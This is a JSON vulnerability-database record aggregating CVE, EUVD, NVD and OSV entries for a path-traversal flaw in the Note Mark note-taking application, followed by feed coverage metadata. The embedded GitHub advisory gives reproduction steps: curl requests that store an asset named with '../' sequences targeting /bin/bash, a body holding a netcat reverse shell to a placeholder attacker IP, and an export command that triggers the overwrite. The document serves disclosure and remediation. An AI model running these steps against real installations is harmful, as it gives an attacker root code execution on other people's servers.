{"id":"EUVD-2026-30370","revision":null,"records":[{"revision":"7caf4e19c40845c58c77ea2dd39d7d50","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-44522","aliases":[],"title":"Note Mark: Arbitrary File Write via Path Traversal in Asset Names Leading to Remote Code Execution","description":"Note Mark is an open-source note-taking application. From 0.13.0 to before 0.19.4, the Note Mark application allows authenticated users to upload assets to notes via POST /api/notes/{noteID}/assets, where the asset filename is provided through the X-Name HTTP request header. This value is stored directly in the database without any sanitization or validation - no path separator filtering, no directory traversal sequence rejection, and no use of filepath.Base() to strip directory components. The unsanitized name is persisted as-is in the note_assets table (Name column, varchar(80)). When an administrator subsequently runs the data export CLI commands (note-mark migrate export-v1 or note-mark migrate export), the stored asset name is passed directly into filepath.Join() and path.Join() calls as part of the output file path argument to os.Create(). Since Go's filepath.Join() resolves ../ sequences during path normalization, an attacker-controlled asset name containing directory traversal sequences causes the export process to write files to arbitrary locations on the filesystem, completely outside the intended export directory. This vulnerability is fixed in 0.19.4.","state":0,"publishedAt":"2026-05-14T18:44:35.887+00:00","modifiedAt":"2026-05-14T19:44:31.854+00:00","affected":[{"ecosystem":"Vendor product","name":"note-mark","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"enchant97\",\n                    \"product\": \"note-mark\",\n                    \"versions\": [\n                        {\n                            \"version\": \">= 0.13.0, < 0.19.4\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":8.6,"severity":"HIGH"}],"references":["https://github.com/enchant97/note-mark/security/advisories/GHSA-g49p-4qxj-88v3"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-44522","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-44522","identifiers":["CVE-2026-44522"]},"retained":false,"historicalAffected":[]},{"revision":"7fc883973bef4d58a45b8a31f152256a","observedAt":"2026-10-28T06:08:14.869+00:00","statement":{"source":"euvd","id":"EUVD-2026-30370","aliases":["CVE-2026-44522","GHSA-g49p-4qxj-88v3"],"title":"Note Mark is an open-source note-taking application. From 0.13.0 to before 0.19.4, the Note Mark application allows authenticated users to upload assets to notes via POST /api/notes/{noteID}/assets, where the asset filename is provided thro…","description":"Note Mark is an open-source note-taking application. From 0.13.0 to before 0.19.4, the Note Mark application allows authenticated users to upload assets to notes via POST /api/notes/{noteID}/assets, where the asset filename is provided through the X-Name HTTP request header. This value is stored directly in the database without any sanitization or validation - no path separator filtering, no directory traversal sequence rejection, and no use of filepath.Base() to strip directory components. The unsanitized name is persisted as-is in the note_assets table (Name column, varchar(80)). When an administrator subsequently runs the data export CLI commands (note-mark migrate export-v1 or note-mark migrate export), the stored asset name is passed directly into filepath.Join() and path.Join() calls as part of the output file path argument to os.Create(). Since Go's filepath.Join() resolves ../ sequences during path normalization, an attacker-controlled asset name containing directory traversal sequences causes the export process to write files to arbitrary locations on the filesystem, completely outside the intended export directory. This vulnerability is fixed in 0.19.4.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":8.6,"severity":null}],"references":["https://github.com/enchant97/note-mark/security/advisories/GHSA-g49p-4qxj-88v3"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-30370","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"May 14, 2026, 6:44:35 PM","dateUpdated":"May 14, 2026, 7:44:31 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-30370","identifiers":["EUVD-2026-30370","CVE-2026-44522","GHSA-g49p-4qxj-88v3"]},"retained":false,"historicalAffected":[]},{"revision":"d4ebf3f3d4364184a16e0beb90c5b6bd","observedAt":"2026-10-27T11:12:17.434+00:00","statement":{"source":"nvd","id":"CVE-2026-44522","aliases":[],"title":"Note Mark is an open-source note-taking application. From 0.13.0 to before 0.19.4, the Note Mark application allows authenticated users to upload assets to notes via POST /api/notes/{noteID}/assets, where the asset filename is provided thro…","description":"Note Mark is an open-source note-taking application. From 0.13.0 to before 0.19.4, the Note Mark application allows authenticated users to upload assets to notes via POST /api/notes/{noteID}/assets, where the asset filename is provided through the X-Name HTTP request header. This value is stored directly in the database without any sanitization or validation - no path separator filtering, no directory traversal sequence rejection, and no use of filepath.Base() to strip directory components. The unsanitized name is persisted as-is in the note_assets table (Name column, varchar(80)). When an administrator subsequently runs the data export CLI commands (note-mark migrate export-v1 or note-mark migrate export), the stored asset name is passed directly into filepath.Join() and path.Join() calls as part of the output file path argument to os.Create(). Since Go's filepath.Join() resolves ../ sequences during path normalization, an attacker-controlled asset name containing directory traversal sequences causes the export process to write files to arbitrary locations on the filesystem, completely outside the intended export directory. This vulnerability is fixed in 0.19.4.","state":0,"publishedAt":"2026-05-14T19:16:37.33+00:00","modifiedAt":"2026-10-26T14:10:00.13+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · security-advisories@github.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":8.6,"severity":"HIGH"}],"references":["https://github.com/enchant97/note-mark/security/advisories/GHSA-g49p-4qxj-88v3"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44522","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-20","CWE-22"],"productCriteria":[],"sourceDates":{"published":"2026-05-14T19:16:37.330","lastModified":"2026-10-26T14:10:00.130"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-44522","identifiers":["CVE-2026-44522"]},"retained":false,"historicalAffected":[]},{"revision":"05bd40f9ddd14c04809686baa79cb874","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-g49p-4qxj-88v3","aliases":["CVE-2026-44522","GO-2026-5389"],"title":"Note Mark: Arbitrary File Write via Path Traversal in Asset Names Leads to Remote Code Execution","description":"### Description\n\nThe Note Mark application allows authenticated users to upload assets to notes via `POST /api/notes/{noteID}/assets`, where the asset filename is provided through the `X-Name` HTTP request header. This value is stored directly in the database without any sanitization or validation - no path separator filtering, no directory traversal sequence rejection, and no use of `filepath.Base()` to strip directory components. The unsanitized name is persisted as-is in the `note_assets` table (`Name` column, `varchar(80)`).\n\nWhen an administrator subsequently runs the data export CLI commands (`note-mark migrate export-v1` or `note-mark migrate export`), the stored asset name is passed directly into `filepath.Join()` and `path.Join()` calls as part of the output file path argument to `os.Create()`. Since Go's `filepath.Join()` resolves `../` sequences during path normalization, an attacker-controlled asset name containing directory traversal sequences causes the export process to write files to arbitrary locations on the filesystem, completely outside the intended export directory.\n\nThe export process typically runs as root (the default in Docker deployments and common in bare-metal setups). This means the arbitrary file write operates with root privileges, allowing an attacker to write to any writable location on the filesystem. This can be escalated to Remote Code Execution by overwriting system binaries such as `/bin/bash` with a malicious payload. Since the Go binary is statically compiled and does not shell out to external programs during the export, overwriting `/bin/bash` does not affect the running export process. However, the next time any user or administrator invokes `bash` on the system, the attacker-controlled binary executes instead, resulting in code execution as root. In environments with cron or systemd, writing to `/etc/cron.d/` or systemd unit files provides additional exploitation paths.\n\nThe data flow is: `X-Name` HTTP header > `handlers/assets.go` (no validation) > `services/assets.go` (stored to DB as-is) > `cli/migrate.go` (used in `os.Create(filepath.Join(..., asset.Name))`) > arbitrary file write.\n\n#### Source Code Analysis\n\nThe asset upload handler at `backend/handlers/assets.go:48-51` extracts the filename directly from the `X-Name` header:\n\n```go\ntype PostNoteAssetInput struct {\n    NoteID  uuid.UUID `path:\"noteID\" format:\"uuid\"`\n    Name    string    `header:\"X-Name\" required:\"true\"`\n    RawBody []byte    `required:\"true\"`\n}\n```\n\nThe service layer at `backend/services/assets.go:39-42` stores this value without validation:\n\n```go\nnoteAsset := db.NoteAsset{\n    NoteID: noteID,\n    Name:   name,\n}\n```\n\nThe V1 export function at `backend/cli/migrate.go:328` uses the unsanitized name directly:\n\n```go\nf, err := os.Create(filepath.Join(noteDir, asset.Name))\n```\n\nThe non-V1 export function at `backend/cli/migrate.go:223` similarly uses it:\n\n```go\nf, err := os.Create(path.Join(assetsDir, asset.ID.String()+\".\"+asset.Name))\n```\n\nIn both cases, `filepath.Join` / `path.Join` resolves `../` sequences in `asset.Name`, causing the resulting path to escape the intended directory.\n\n\n### Steps to Reproduce\n\n1. Start a Note Mark instance (version 0.19.2 or earlier) using the official Docker image: `docker run -d --name notemark -p 8080:8080 -e JWT_SECRET=\"$(openssl rand -base64 32)\" -e PUBLIC_URL=\"http://localhost:8080\" ghcr.io/enchant97/note-mark-aio:0.19.2`\n\n2. Register a user account: `curl -s -X POST http://localhost:8080/api/users -H 'Content-Type: application/json' -d '{\"username\":\"attacker\",\"password\":\"Attack3r!\",\"name\":\"attacker\"}'`\n\n3. Authenticate and capture the session cookie: `curl -s -D - -X POST http://localhost:8080/api/auth/token -H 'Content-Type: application/json' -d '{\"username\":\"attacker\",\"password\":\"Attack3r!\",\"grant_type\":\"password\"}'`. Save the `Auth-Session-Token` cookie value from the `Set-Cookie` response header.\n\n4. Create a notebook: `curl -s -X POST http://localhost:8080/api/books -H 'Content-Type: application/json' -b 'Auth-Session-Token=<TOKEN>' -d '{\"name\":\"test\",\"slug\":\"test\"}'`. Note the returned `id` as `BOOK_ID`.\n\n5. Create a note in the notebook: `curl -s -X POST http://localhost:8080/api/books/<BOOK_ID>/notes -H 'Content-Type: application/json' -b 'Auth-Session-Token=<TOKEN>' -d '{\"name\":\"test\",\"slug\":\"test\"}'`. Note the returned `id` as `NOTE_ID`.\n\n6. Upload an asset with a reverse shell payload in the body and a path traversal filename in the `X-Name` header targeting `/bin/bash`: `curl -s -X POST http://localhost:8080/api/notes/<NOTE_ID>/assets -b 'Auth-Session-Token=<TOKEN>' -H 'X-Name: ../../../../../../bin/bash' -H 'Content-Type: application/octet-stream' -d '#!/bin/sh\\nnc <ATTACKER_IP> <PORT> -e /bin/sh'`. Confirm the response contains `\"name\":\"../../../../../../bin/bash\"`, showing the traversal payload was stored without sanitization.\n\n7. Trigger the export as an administrator (simulating the admin running a routine data export): `docker exec notemark /note-mark migrate export-v1 --export-dir /data/backup`\n\n8. Verify `/bin/bash` was overwritten with the attacker payload: `docker exec notemark cat /bin/bash`. The file should contain the reverse shell script instead of the original bash binary, confirming arbitrary file write.\n\n9. Start a listener on the attacker machine (`nc -lvnp <PORT>`), then invoke bash on the target: `docker exec notemark bash`. A reverse shell connects back to the attacker as root, confirming Remote Code Execution.\n\n#### Proof of Concept (Video) \n[note-mark-path-traversal-rce.webm](https://github.com/user-attachments/assets/6969a00a-3ad1-4e30-b5ce-9e780da4fa2b)\n\n\n### Recommendations\n\nThe root cause is the complete absence of input validation on the `X-Name` header value used as the asset filename. The fix should be applied at two layers.\n\nAt the input layer in the asset upload handler, the application should reject any asset name containing path separators (`/`, `\\`) or directory traversal sequences (`..`). The simplest approach is to apply `filepath.Base()` to the incoming name, which strips all directory components and returns only the final filename element. Names that resolve to empty strings or `.` after this operation should be rejected. This validation should be applied in the `PostNoteAsset` handler before the name reaches the service layer.\n\nAt the export layer in the CLI migration code, the application should apply `filepath.Base()` to `asset.Name` before using it in any file path construction as a defense-in-depth measure. This ensures that even if a malicious name exists in the database (from before the input validation was added), the export process cannot be exploited. Both the V1 export path at `migrate.go:328` and the standard export path at `migrate.go:223` require this fix.\n\n\nReported By: Ravindu Wickramasinghe (rvz) - Zyenra Security -  www.zyenra.com","state":0,"publishedAt":"2026-05-07T21:06:55+00:00","modifiedAt":"2026-06-25T19:56:37.9514019+00:00","affected":[{"ecosystem":"Go","name":"github.com/enchant97/note-mark/backend","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.0.0-20260501152243-db3f72bff780"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/enchant97/note-mark/security/advisories/GHSA-g49p-4qxj-88v3","https://nvd.nist.gov/vuln/detail/CVE-2026-44522","https://github.com/enchant97/note-mark","https://github.com/enchant97/note-mark/releases/tag/v0.19.4"],"sourceUrl":"https://github.com/advisories/GHSA-g49p-4qxj-88v3","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-g49p-4qxj-88v3","identifiers":["GHSA-g49p-4qxj-88v3","CVE-2026-44522","GO-2026-5389"]},"retained":false,"historicalAffected":[]},{"revision":"0052e4500cbe4da39a34c7cef2d70c75","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5389","aliases":["CVE-2026-44522","GHSA-g49p-4qxj-88v3"],"title":"Note Mark: Arbitrary File Write via Path Traversal in Asset Names Leads to Remote Code Execution in github.com/enchant97/note-mark/backend","description":"Note Mark: Arbitrary File Write via Path Traversal in Asset Names Leads to Remote Code Execution in github.com/enchant97/note-mark/backend","state":0,"publishedAt":"2026-06-25T18:43:19+00:00","modifiedAt":"2026-06-25T19:45:38.471573+00:00","affected":[{"ecosystem":"Go","name":"github.com/enchant97/note-mark/backend","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.0.0-20260501152243-db3f72bff780"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/enchant97/note-mark/security/advisories/GHSA-g49p-4qxj-88v3","https://nvd.nist.gov/vuln/detail/CVE-2026-44522","https://github.com/enchant97/note-mark/releases/tag/v0.19.4"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5389","license":"OSV · upstream source license applies","key":"osv:GO-2026-5389","identifiers":["GO-2026-5389","CVE-2026-44522","GHSA-g49p-4qxj-88v3"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-10-28T10:33:32.5344446+00:00","complete":true,"records":1760,"lastAttemptAt":"2026-10-28T10:33:32.5344446+00:00","lastSuccessAt":"2026-10-28T10:33:32.6834837+00:00","error":null,"lastVerifiedAt":"2026-10-28T10:33:32.6834858+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-d2186f400c54d65f61687f78bb1a00d184d2e215877d0194d7ed70caee809a44-dbe935b5c0445aa8bf0ad6eee2fdccbed1511848550405783cb6764f13f2cea1","complete":true,"records":415637,"lastAttemptAt":"2026-10-28T10:33:28.1218743+00:00","lastSuccessAt":"2026-10-28T10:33:28.0918568+00:00","error":null,"lastVerifiedAt":"2026-10-28T10:33:28.1218743+00:00","snapshotPublishedAt":"2026-10-28T10:28:43+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-02f5f13ac70c42aeb291655452a4062e","complete":false,"records":13206,"lastAttemptAt":"2026-10-28T10:34:27.5522136+00:00","lastSuccessAt":"2026-10-28T10:34:27.6113841+00:00","error":null,"lastVerifiedAt":"2026-10-28T10:34:27.6113841+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-10-28T10:33:32.5344446+00:00","complete":true,"records":1093,"lastAttemptAt":"2026-10-28T10:33:32.5344446+00:00","lastSuccessAt":"2026-10-28T10:33:32.6846081+00:00","error":null,"lastVerifiedAt":"2026-10-28T10:33:32.6846084+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-8d16a738328646698f9217d8ea11893c","complete":true,"records":13449,"lastAttemptAt":"2026-10-28T10:33:33.1463542+00:00","lastSuccessAt":"2026-10-27T22:48:29.491+00:00","error":null,"lastVerifiedAt":"2026-10-27T22:48:29.491+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13514,"expectedIdentifiers":13514,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-f7cb12508d9e6a348c8a60f772ed85529cc80cd2ff853da1099b57754b20e943","complete":true,"records":9790,"lastAttemptAt":"2026-10-28T10:33:28.4933633+00:00","lastSuccessAt":"2026-10-27T21:49:03.9756799+00:00","error":null,"lastVerifiedAt":"2026-10-28T10:33:28.4933633+00:00","snapshotPublishedAt":"2026-10-27T21:48:11+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-72e5e79de0026dd0562d40734074a2236a06886643d67182b8381eaee757dbf7","complete":true,"records":1966,"lastAttemptAt":"2026-10-28T10:33:28.2877501+00:00","lastSuccessAt":"2026-10-27T21:46:38.0277323+00:00","error":null,"lastVerifiedAt":"2026-10-28T10:33:28.2877501+00:00","snapshotPublishedAt":"2026-10-27T21:18:15+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-9cc0e41ed4e75d0c111bed7fd0bbcd4f139c80cc1fc67f8c3d9a33a41da846ad","complete":true,"records":3002,"lastAttemptAt":"2026-10-28T10:33:32.5040876+00:00","lastSuccessAt":"2026-10-28T10:33:32.3653779+00:00","error":null,"lastVerifiedAt":"2026-10-28T10:33:32.5040876+00:00","snapshotPublishedAt":"2026-10-28T09:02:50+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-2ba4ef78ff3a54a3ff2eeaf8e09b7b84901727f582723b80c5b0279e777b2781","complete":true,"records":230857,"lastAttemptAt":"2026-10-28T10:33:28.3916004+00:00","lastSuccessAt":"2026-10-28T09:35:14.9469514+00:00","error":null,"lastVerifiedAt":"2026-10-28T10:33:28.3916004+00:00","snapshotPublishedAt":"2026-10-28T09:33:01+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}